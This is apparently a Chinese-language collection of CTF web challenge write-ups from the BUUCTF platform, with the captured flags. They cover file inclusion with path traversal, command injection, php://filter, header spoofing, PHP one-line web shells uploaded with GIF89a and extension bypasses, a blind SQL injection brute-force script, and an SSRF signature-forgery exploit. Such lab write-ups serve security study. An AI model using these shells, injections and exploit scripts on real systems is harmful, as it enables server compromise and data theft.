web刷题
[HCTF 2018]WarmUp
知识点
php include用法,包含路径、php代码审计、_REQUEST
做题过程
1、因为是_REQUEST,所以我们尝试在url上构造 ?file=hint.php执行一次include 看看回显
2、构造:
buuoj.cn:81/source.php?file=hint.php?../../../../../ffffllllaaaagggg
以此让include 加载../../../../../ffffllllaaaagggg
flag 即为: flag{349149b1-4c6f-44f7-9070-d45523225066}
[ACTF2020 新生赛]Exec
知识点
-c 1 127.0.0.1; ls -R ../../../
再构造:
-c 1 127.0.0.1; cat ../../../flag
拿到flag: flag{403bc638-1316-4e4a-b17a-f4899145c0e3}
[极客大挑战 2019]Secret File
知识点: 文件包含漏洞,php://filter
1、找到关键文件的位置
即 http://0edb6436-cb34-4eca-819a-0255da1739ae.node5.buuoj.cn:81/secr3t.php
2、显然是文件包含漏洞,被ban掉了input和data,那就只有php://filter了
尝试构造:
3、base64解码:
import base64
cip = "PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7OWM4M2MyNTgtNWQyYi00OWE2LTlhNTctOGVlYmFhOTVkMzdlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo="
x = base64.b64decode(cip)
print(x)
fp = open("flag.php","wb")
fp.write(x)
fp.close()
得到:
flag即为: flag{9c83c258-5d2b-49a6-9a57-8eebaa95d37e}
[极客大挑战 2019]Http
考点: http请求头绕过:Referer 、X-Forwarded-For、User-Agent
1、添加header: Referer : https://Sycsecret.buuoj.cn
Please use "Syclover" browser
User-Agent的作用就是告诉服务器,客户机的软件环境
2、把这里的firefox改成Syclover 即可
No!!! you can only read this locally!!!
3、也就是说我们只能在本地访问,那么意思就是要我们使用127.0.0.1来访问,
GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:26403
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Syclover/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Referer : https://Sycsecret.buuoj.cn
X-Forwarded-For : 127.0.0.1
4、拿到flag:
flag{314858af-c47a-4fb8-b11b-4010be00cc1c}
[极客大挑战 2019]Upload
知识点: 文件上传漏洞
1、一句话木马
<?php @eval($_GET['Name'])?>
2、改一下后缀:
看来有 <? 检测
3、使用js+php变形版的一句话木马进行绕过
很明显还是不行,他检测出了这不是照片
4、我们可以尝试给他加一个图片的文件头,最常用的就是GIF89a了
构造为:
GIF89a <script language="php">eval($_REQUEST['Name'])</script>
上传成功
5、再猜测一下目录位置是/upload/访问一下看看
http://f39e10ae-2733-4aac-b594-506fdc4370eb.node5.buuoj.cn:81/upload/
珍得食泥鸭
6、上传的后缀名为图片执行不了php命令
7、把后缀名改为 phtml 后上传
抓一下包:
修改文件类型: 为 image/png 即可
直接上蚁剑
链接成功
8、得到flag: flag{9cccedeb-aff0-4f3f-b71f-c3725d7e97a5}
[ACTF2020 新生赛]Upload
知识点: 文件上传 + 前端js绕过
直接上传一句话木马:
One_sentence_horse.phtml
GIF89a <script language="php">eval($_REQUEST['Name'])</script>
抓包抓不到,猜测是前端检测
修改一下,即可绕过
蚁剑一把梭
拿到flag
flag{dbbf9b66-b384-4dd3-884f-08610dde65db}
[CISCN2019 华北赛区 Day2 Web1]Hack World
知识点: 二分盲注爆破、or与空格过滤
通过测试,发现过滤了一些东西,比如 空格、双引号、or、and等等
可以使用IF来代替 or ,用脚本来爆破这个盲注
exp:
import requests
url = "http://8c0d03aa-d2cf-428f-829e-c499d6e8e98d.node5.buuoj.cn:81/index.php"
start = 32
end = 128
flag = ""
idx = -1
while True:
idx += 1
l=start
r=end
while l<r:
mid = l+r >> 1
sql = '''IF(ascii(substr((SELECT(flag)from(flag)),%d,1))>%d,1,2)''' % (idx,mid)
data = {"id":sql}
res = requests.post(url=url, data=data)
if "Hello, glzjin wants a girlfriend" in res.text: # '' > mid
l = mid+1
elif "Do you want to be my girlfriend" in res.text: # '' <= mid
r = mid
else:
assert 0
flag += chr(l)
print(flag)
以^的方式构造也行
import requests
url = "http://8c0d03aa-d2cf-428f-829e-c499d6e8e98d.node5.buuoj.cn:81/index.php"
# sql = '''SELECT NAME FROM users WHERE id=0^ascii(substr((SELECT(flag)from(flag)),0,1))>10'''
sql = '''0^(ascii(substr((SELECT(flag)from(flag)),1,1))>32)'''
data = {"id":sql}
res = requests.post(url=url, data=data)
print(res.text)
拿到flag
flag即为: flag{3102377c-a185-42a6-8c71-52e17e6a3d60}
[De1CTF 2019]SSRF Me
考点: SSRF、伪造签名、脑洞
一些python用法
python @的用法
https://www.cnblogs.com/daniumiqi/p/12162192.html
https://developer.aliyun.com/article/1372362
def decorator(func):
return func
@decorator
def some_func():
pass
等价于:
def decorator(func):
return func
def some_func():
pass
some_func = decorator(some_func)
def message(func):
def wrapper():
print("Hello Decorator")
func()
return wrapper
@message
def myfunc():
print("Hello World")
myfunc()
等价于:
def myfunc():
print("Hello World")
myfunc = message(myfunc)
myfunc()
python urllib库
1、urllib.parse.unquote(request.args.get("param", ""))
request.args.get("param", "")
从HTTP请求的查询参数中获取名为 "param" 的参数的值。如果没有找到这个参数,就返回一个空字符串作为默认值。
urllib.parse.unquote可以进行url解码
2、request.cookies.get("action")
功能是从HTTP请求中获取名为 "action" 的Cookie值
3、 urllib.request.urlopen(url).read()
import urllib.request
url = "http://www.baidu.com"
dt = urllib.request.urlopen(url).read()
print(dt)
整体上的功能是访问指定的URL并读取该URL页面的内容,然后将这些内容作为字节串(bytes)返回
urlopen
也可以读取本地文件
import urllib.request
# 你需要将其转换为URL格式
file_url = r'file:///C:\Users\Administrator\Desktop\CTFer-Web\sql\sql-learn\test.py' # 注意:在Windows上,你可能需要使用三个斜杠('file:///')
# 使用urlopen打开本地文件
with urllib.request.urlopen(file_url) as f:
file_content = f.read()
# 打印文件内容
print(file_content.decode('utf-8'))
Flask web用法
Flask(__name__)用法
from flask import Flask
app = Flask(__name__)
1、from flask import Flask
:这一行代码从Flask包中导入Flask类。Flask类是框架的核心,你将使用它来创建你的web应用。
2、app = Flask(__name__)
:这里创建了一个Flask应用的实例。__name__
是一个特殊变量,它指向当前Python脚本的名字。在Flask中,它被用来确定应用的根目录,以便Flask能够找到资源文件(如模板文件和静态文件)的位置。创建这个实例之后,你可以用它来定义路由和视图函数。
@app.route('/') 用法
下面的代码创建了一个简单的路由:
@app.route('/')
def hello_world():
return 'Hello, World!'
这个路由装饰器告诉Flask,当用户访问应用的根URL(即/
)时,调用hello_world
函数。hello_world
函数返回的字符串将显示在用户的浏览器中。
@app.route('/De1ta',methods=['GET','POST'])用法
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/De1ta', methods=['GET','POST'])
表示当用户通过HTTP请求访问"/De1ta"路径时,可以使用GET和POST两种HTTP方法来访问这个路由。
app.run(debug=True)
这里,app.run(debug=True)
启动了一个本地的开发服务器,debug=True
开启了调试模式,当你的代码发生变化时,服务器会自动重载,而且会提供一个交互式的调试器来调试代码。
解题思路
1、访问网站根目录,得到源码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign): # secert_key + param + action的哈希摘要
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower() # 取出收尾空白字符并转小写
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
2、服务端把我们传入的参数经过waf()函数处理后,构造一个Task的对象
waf函数检测param是否已'gopher'或'file'开头,以此试图阻止我们使用gopher协议和file协议读取它本地的文件
3、解题关键
- 注意到 获取签名的函数geneSign中action是静态的,是定死的,但param是可控的
- Task签名校验函数checkSign中的action与param是可控的,并且md5明文顺序是: param + action
据次,我们可以以不同的方式伪造两个相同的签名: md5(secert_key + param(./flag.txtread) + action(scan)) <==> md5(secert_key + param(./flag.txt) + action(readscan))
exp.py:
import requests
### 先获取(伪造)签名
url = "http://185109fa-213a-4482-8ee3-3f8906621af4.node5.buuoj.cn:81/"
param = "?param=flag.txtread"
req = requests.get(url=url+"geneSign"+param)
print(req.text) # md5(secert_key + param(./flag.txtread) + action(scan))
### 再使用伪造的签名来scan文件
cookies = {}
cookies["sign"] = req.text # md5(secert_key + param(./flag.txt) + action(readscan))
cookies["action"] = "readscan"
param = "?param=flag.txt"
req = requests.get(url = url + "De1ta" + param,cookies=cookies)
print(req.text)
### 最后使用伪造的签名来read文件(其实在上面那一步就已经完成了)
拿到flag
flag{5123d2a1-48b2-4883-9593-40965b3b4d66}